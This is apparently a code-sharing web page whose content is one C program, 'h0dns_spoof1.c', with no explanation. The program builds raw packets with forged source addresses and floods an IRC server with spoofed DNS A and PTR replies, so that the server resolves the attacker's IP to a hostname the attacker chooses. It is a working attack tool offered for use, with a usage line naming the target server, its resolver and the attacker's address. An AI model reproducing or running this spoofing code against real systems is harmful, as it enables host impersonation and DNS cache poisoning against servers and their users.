Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  rrrrt
Language: C/C++
Code:
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>

#ifndef u8
  #define u8  unsigned char
#endif

#ifndef u16
  #define u16 unsigned short
#endif

#ifndef u32
  #define u32 unsigned long
#endif


struct dns_header {
  u16 id;
  u16 flags;
  u16 questions;
  u16 answer_rr;
  u16 auth_rr;
  u16 extra_rr;
} __attribute__((packed));

struct dns_data {
  u16 name;
  u16 type;
  u16 class;
  u16 ttlh;
  u16 ttl;
  u16 data_len; /* data len - sizeof(char *) */
  char *data;
  /* data */
} __attribute__((packed));

struct dns_packet {
  size_t len;
  u8  type;
  char *data;
  /* packet data */
};

struct dns_query {
  size_t len;
  char *data;
};

struct ip_header {
  u8  ihl:4,
      version:4;
  u8  tos;
  u16 tot_len;
  u16 id;
  u16 frag_off;
  u8  ttl;
  u8  protocol;
  u16 check;
  u32 saddr;
  u32 daddr;
};

struct udp_header {
  u16 source;
  u16 dest;
  u16 len;
  u16 check;
};

#define DNS_A   0x0001
#define DNS_PTR 0x000c

struct udp_packet {
  struct ip_header iph;
  struct udp_header udph;
};

void usage() {
  fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "
                  "<your ip> <spoof host> <dns id>n");
  exit(-1);
}

void fatal(char *reason) {
  fprintf(stderr, "fatal: %sn", reason);
  exit(-1);
}

unsigned short csum(unsigned short *addr, int len) {
  register int sum = 0;
  u_short answer = 0;
  register u_short *w = addr;
  register int nleft = len;

  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer); /* return the checksum value. */
}

struct udp_packet *alloc_packet(size_t datalen) {
  struct udp_packet *packet;
  struct ip_header  *iph;
  struct udp_header *udph;

  if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
    fatal("error: allocating udp packet");

  iph  = &packet->iph;
  udph = &packet->udph;

  iph->ihl       = 5;
  iph->version   = 4;
  iph->tos       = 0;
  iph->tot_len   = sizeof(struct udp_packet) + datalen;
  iph->id        = htonl(0xbeef);
  iph->frag_off  = 0;
  iph->ttl       = 255;

  iph->protocol  = 17;

  udph->len      = htons(sizeof(struct udp_header) + datalen);

  return(packet);
}

void init_packet(long source, int sport, long dest, int port,
                 struct udp_packet *udp_packet,
                 struct dns_packet *dns_packet) {
  struct ip_header *iph;
  struct udp_header *udph;
  char *data;

  iph  = &udp_packet->iph;
  udph = &udp_packet->udph;

  iph->saddr      = source;
  iph->daddr      = dest;
  iph->check      = csum((unsigned short *)iph, sizeof(struct ip_header));

  udph->check  = 0;
  udph->source = htons(sport);
  udph->dest   = htons(port);

  data = (char *)udp_packet + sizeof(struct udp_packet);
  memcpy(data, &dns_packet->data, dns_packet->len);
}

char *dns_string_format(char *out, char *in) {
  int i, x;

  for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
    if(in[i] == '.') {
      out[i] = x;
      x = -1;
    } else
      out[i] = in[i];
  }

  out[i] = x;

  return(out);
}

struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
                                    char *answer_data, int type) {
  struct dns_packet *dns_packet;
  struct dns_header *dns_header;
  struct dns_data *dns_data;
  char *query,
       *answer;
  size_t totlen,
         alen;

  if(type == DNS_A)
    alen = 4;
  else
    alen = strlen(answer_data);

  totlen = sizeof(struct dns_header) +
           qlen +
           sizeof(struct dns_data) - sizeof(char *) + alen +
           ((type == DNS_A) ? 0 : 2);

  if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
                          sizeof(char *))) == NULL)
    fatal("failed alloc");

  dns_packet->len      = totlen;

  dns_header = (struct dns_header *) &dns_packet->data;
  query      =              (char *) &dns_packet->data +
                                     sizeof(struct dns_header);
  dns_data   =   (struct dns_data *) (query + qlen);
  answer     =              (char *) &dns_data->data +
                                     ((type == DNS_A) ? 0 : 1);


  dns_header->flags     = htons(0x8180);
  dns_header->questions = htons(1);
  dns_header->answer_rr = htons(1);
  dns_header->auth_rr   = htons(0);
  dns_header->extra_rr  = htons(0);


  memcpy(query, query_data, qlen);

  dns_data->name        = htons(0xc00c);
  dns_data->type        = htons(type);
  dns_data->class       = htons(1);
  dns_data->ttl         = htons(300);

  dns_data->data_len    = htons(alen + ((type == DNS_A) ? 0 : 1));

  if(type == DNS_A)
    memcpy(answer, &answer_data, 4);
  else
    dns_string_format(answer, answer_data);

  return(dns_packet);
}

struct dns_query *alloc_dns_query(char *query, int qtype) {
  struct dns_query *dns_query;
  size_t qlen;
  int i, x = 0;
  char *p;
  char *data;
  u16  *type,
       *class;

  qlen = 1 + strlen(query) + 1 + 2 + 2;

  if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)
    fatal("fatal allocn");

  dns_query->len = qlen;

  data   = (char *) &dns_query->data + 1;
  type   =  (u16 *) (data + strlen(query) + 1);
  class  =  (u16 *) type + 1;

  dns_string_format(data, query);

  *type   = htons(qtype);
  *class  = htons(1);

  return(dns_query);
};

int send_packet(struct in_addr src, u16 sport,
                struct in_addr dst, u16 dport,
                struct udp_packet *udp_packet,
                struct dns_packet *dns_packet, u32 dns_id) {
  struct sockaddr_in sin;
  struct dns_header *dns_header;
  int s, olen;
  unsigned char *p;
  int i;

  dns_header     = (struct dns_header *) &dns_packet->data;
  dns_header->id = htons(dns_id);

  init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);

  sin.sin_family      = AF_INET;
  sin.sin_addr        = dst;
  sin.sin_port        = htons(sport);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
    fprintf(stderr, "%s: ERROR send_packet() -> socket()n", inet_ntoa(dst));
    return(s);
  }

  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
    fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.n");

  while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,
       (struct sockaddr *)&sin, sizeof(sin)) < 0) {

    if(errno == ENOBUFS)
      usleep(50);
    else {
      fprintf(stderr, "%s: send_packet() -> sendto() [%d]n", inet_ntoa(dst), errno);
      close(s);
      return(-1);
    }

  }

  close(s);

}

void do_spoof(struct in_addr src, u16 sport,
              struct in_addr dst, u16 dport,
              struct in_addr me, char *answer, u16 dns_id) {
  struct udp_packet *udp_packet_A,
                    *udp_packet_PTR;
  struct dns_packet *dns_packet_A,
                    *dns_packet_PTR;
  struct dns_query  *dns_query_A,
                    *dns_query_PTR;
  char query[255];
  int i;

printf("dns_id = %dn", dns_id);

  snprintf(query, sizeof(query) - 1,
           "%d.%d.%d.%d.in-addr.arpa",
           (me.s_addr >> 24),
           (me.s_addr >> 16) & 0xff,
           (me.s_addr >>  8) & 0xff,
           (me.s_addr      ) & 0xff);

  dns_query_A    = alloc_dns_query(answer, DNS_A);
  dns_packet_A   = alloc_dns_packet((char *)&dns_query_A->data,
                                    dns_query_A->len,
                                    (char *)me.s_addr, DNS_A);
  udp_packet_A   = alloc_packet(dns_packet_A->len);


  dns_query_PTR  = alloc_dns_query(query, DNS_PTR);
  dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
                                    dns_query_PTR->len, answer, DNS_PTR);
  udp_packet_PTR = alloc_packet(dns_packet_PTR->len);

  /* weee flood time */
  for(i = 0; ; i++) {
    send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);
    send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);
    usleep(50);

    if(i > 3)
      i = 0;
  }
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int main(int argc, char *argv[]) {
  int i, dns_port, dns_id;
  struct in_addr ircd,
                 ircd_ns,
                 me;
  char *spoof_host;

  printf("###### h0dns_spoof1.c - zmda - [email protected] ######n");

  if(argc < 6)
    usage();

  if((ircd.s_addr = resolve(argv[1])) == -1)
    fatal("ircd host invalid");

  dns_port = atoi(argv[2]);

  if((ircd_ns.s_addr = resolve(argv[3])) == -1)
    fatal("ircd dns host invalid");

  if((me.s_addr = resolve(argv[4])) == -1)
    fatal("my host invalid");

  spoof_host    = argv[5];
  dns_id        = atoi(argv[6]);

  do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);

}
          
          
          
Comments: